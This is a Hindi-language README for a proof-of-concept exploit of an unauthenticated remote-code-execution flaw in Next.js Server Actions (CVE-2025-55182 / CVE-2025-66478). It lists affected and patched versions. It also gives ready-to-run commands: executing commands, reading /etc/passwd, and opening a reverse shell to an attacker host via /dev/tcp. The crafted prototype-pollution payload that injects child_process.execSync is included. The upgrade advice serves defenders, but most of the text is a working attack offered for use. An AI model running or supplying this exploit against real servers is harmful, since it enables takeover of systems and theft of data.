
Next.js के सर्वर एक्शन्स में React Flight Protocol डिसीरियलाइज़ेशन के माध्यम से गंभीर अप्रमाणित RCE के लिए साक्ष्य-अवधारणा शोषण, जो कमजोर सर्वरों पर मनमाना कमांड निष्पादन सक्षम बनाता है।
Next.js सर्वर एक्शन में गंभीर भेद्यता जो React Flight प्रोटोकॉल डीसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन की अनुमति देती है
इस रिपॉजिटरी में Next.js एप्लिकेशन के लिए एक Proof of Concept (PoC) शामिल है जो सर्वर एक्शन (React सर्वर फंक्शन) का उपयोग करने वाले महत्वपूर्ण RCE भेद्यता को प्रदर्शित करता है।
| विवरण | जानकारी |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| गंभीरता | गंभीर (CVSS 10.0) |
| React प्रभावित | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js प्रभावित | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| प्रभावित नहीं | Next.js 14.x स्थिर, 13.x, Pages Router, Edge Runtime |
| Next.js फिक्स | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React फिक्स | 19.0.1, 19.1.2, 19.2.1 |
| प्रकार | दूरस्थ कोड निष्पादन (RCE) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
यह भेद्यता इस बात में मौजूद है कि सर्वर एक्शन प्रसंस्करण के दौरान React Flight प्रोटोकॉल चंक को कैसे डीसीरियलाइज़ करता है। एक हमलावर निम्नलिखित के माध्यम से प्रोटोटाइप प्रदूषण का शोषण कर सकता है:
__proto__) के माध्यम से Function कंस्ट्रक्टर तक पहुँच प्राप्त करनायह सर्वर एक्शन के किसी भी सत्यापन से पहले होता है, जिससे यह सर्वर एक्शन सक्षम वाले किसी भी Next.js ऐप पर शोषणीय हो जाता है।
कोई भी Next.js एप्लिकेशन असुरक्षित है यदि:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# कमांड निष्पादन का परीक्षण
python3 poc.py http://localhost:3000 "id"
# संवेदनशील फ़ाइलें पढ़ें
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# रिवर्स शेल (केवल अधिकृत परीक्षण के लिए)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
कमांड का आउटपुट digest फ़ील्ड में दिखाई देता है।
यह शोषण React Flight प्रोटोकॉल के चंक रिज़ॉल्यूशन तंत्र का लाभ उठाता है:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
हमला श्रृंखला:
$1:__proto__:then के माध्यम से प्रोटोटाइप ट्रैवर्सल$1:constructor:constructor के माध्यम से Function कंस्ट्रक्टर तक पहुँच_prefix फ़ील्ड के माध्यम से मनमाना कोड इंजेक्ट करनातुरंत अपग्रेड करें:
npm install next@latest
# या
pnpm update next
पैच किए गए संस्करण: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
नोट: Next.js 14.x स्थिर और 13.x असुरक्षित नहीं हैं।
⚠️ यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। इस उपकरण का उपयोग केवल उन प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
मूल शोध @msanft द्वारा किया गया। भेद्यता की खोज और प्रारंभिक PoC का पूरा श्रेय उन्हें जाता है।
Next.js RCE, Next.js भेद्यता, CVE-2025-55182, CVE-2025-66478, React2Shell, React सर्वर घटक शोषण, Next.js सर्वर एक्शन RCE, प्रोटोटाइप प्रदूषण Next.js, React Flight प्रोटोकॉल भेद्यता, Next.js सुरक्षा, Next.js दूरस्थ कोड निष्पादन, Next.js शोषण PoC, सर्वर एक्शन भेद्यता, React RSC RCE